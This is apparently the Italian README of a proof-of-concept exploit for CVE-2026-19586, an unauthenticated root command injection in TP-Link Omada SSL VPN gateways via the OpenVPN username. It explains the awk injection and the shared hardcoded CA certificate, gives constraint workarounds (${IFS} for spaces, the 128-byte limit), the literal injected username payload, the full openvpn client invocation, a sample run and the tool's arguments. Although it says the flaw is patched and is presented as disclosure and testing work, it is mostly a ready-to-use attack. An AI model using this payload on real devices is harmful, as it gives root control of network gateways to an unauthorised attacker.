
PoC Python che sfrutta CVE-2026-19586, un'iniezione di comandi non autenticata in TP-Link Omada SSL VPN che esegue comandi arbitrari come root tramite l'iniezione nel nome utente OpenVPN.
TP-Link Omada SSL VPN RCE non autenticata (CVE-2026-19586)
Una vulnerabilità di command injection (CWE-78) nel percorso di autenticazione SSL VPN del firmware dei gateway TP-Link Omada consente a un attaccante non autenticato di eseguire comandi arbitrari come root. Quando il server SSL VPN basato su OpenVPN è abilitato, OpenVPN passa il nome utente inviato dal client che si connette a /usr/sbin/checkpsw.sh, lo script collegato alla direttiva auth-user-pass-verify. Tale script inserisce il nome utente senza virgolette in un programma awk, quindi un nome utente contenente un doppio apice chiude il letterale stringa di awk in cui viene incollato e il resto viene interpretato come codice sorgente awk.
Un blocco BEGIN di awk viene eseguito una volta prima che venga letta la prima riga di input, quindi la chiamata system() iniettata viene eseguita prima che la password inviata venga confrontata con qualsiasi cosa, come root.
Il server non richiede alcun certificato client e non contiene alcuna chiave tls-auth o tls-crypt, e il suo certificato CA è hardcoded nell'immagine del firmware. Il file ca.crt in questo repository è quel certificato, ed è identico su ogni dispositivo che esegue il firmware interessato, quindi qualsiasi attaccante in grado di raggiungere la porta VPN può completare l'handshake TLS e raggiungere l'injection senza credenziali e senza alcun accesso preventivo al dispositivo.
Il nome utente non può contenere spazi letterali, perché la shell divide l'espansione non quotata in argomenti separati prima che awk la veda. Usare ${IFS} al loro posto, che la shell invocata da system() espande nuovamente in uno spazio. OpenVPN limita il nome utente a 128 byte; lo scaffold del payload ne usa 22, lasciandone 106 per il comando.
Questa Proof of Concept (PoC) è stata testata contro il TP-Link Omada ER7212PC v2 (firmware 6.1.0.19). Lo script vulnerabile è condiviso su tutta la linea di gateway Omada; percorsi, numeri di riga e comportamento possono differire su altri modelli o versioni di firmware.
Questa PoC invia un payload nel nome utente che viene eseguito come root sul dispositivo target. Il problema è stato segnalato a TP-Link e risolto nelle versioni di firmware elencate nell'advisory; eseguire questo strumento solo su hardware di propria proprietà o per cui si è esplicitamente autorizzati a eseguire test.
$ sudo python3 cve-2026-19586.py <target> -c '<command>'
Il client openvpn è necessario e deve essere eseguito come root, poiché richiede CAP_NET_ADMIN per creare il dispositivo tun. Questo è un requisito del client OpenVPN locale, non del target.
Esempio di esecuzione:
$ sudo python3 cve-2026-19586.py 10.0.0.100 -c 'id>/tmp/proof'
TP-Link Omada SSL VPN Unauthenticated RCE (CVE-2026-19586) - OpenVPN Username Injection
Target : 10.0.0.100:1194/udp
CA cert : ca.crt
Command : id>/tmp/proof
Username : x";BEGIN{system("id>/tmp/proof")};#
[*] Running: openvpn --client --dev tun --proto udp --remote 10.0.0.100 1194 --resolv-retry 1 --nobind --ca ca.crt --remote-cert-tls server --cipher AES-256-CBC --data-ciphers-fallback AES-256-CBC --reneg-sec 0 --auth-user-pass /tmp/ovpn_creds_m0ycjowy.txt --auth-nocache --verb 3
[openvpn client output]
Il comando viene eseguito sul dispositivo prima che l'autenticazione venga completata, quindi il client OpenVPN stesso non si connetterà. Il tentativo di autenticazione fallisce e il client termina, come previsto.
| Argomento | Descrizione |
|---|
target | IP o hostname del dispositivo target |
-c, --command | Comando da eseguire come root sul target. Usare ${IFS} al posto degli spazi |
-p, --port | Porta UDP SSL VPN (predefinita: 1194) |
--ca | Certificato CA estratto dal firmware (predefinito: ca.crt) |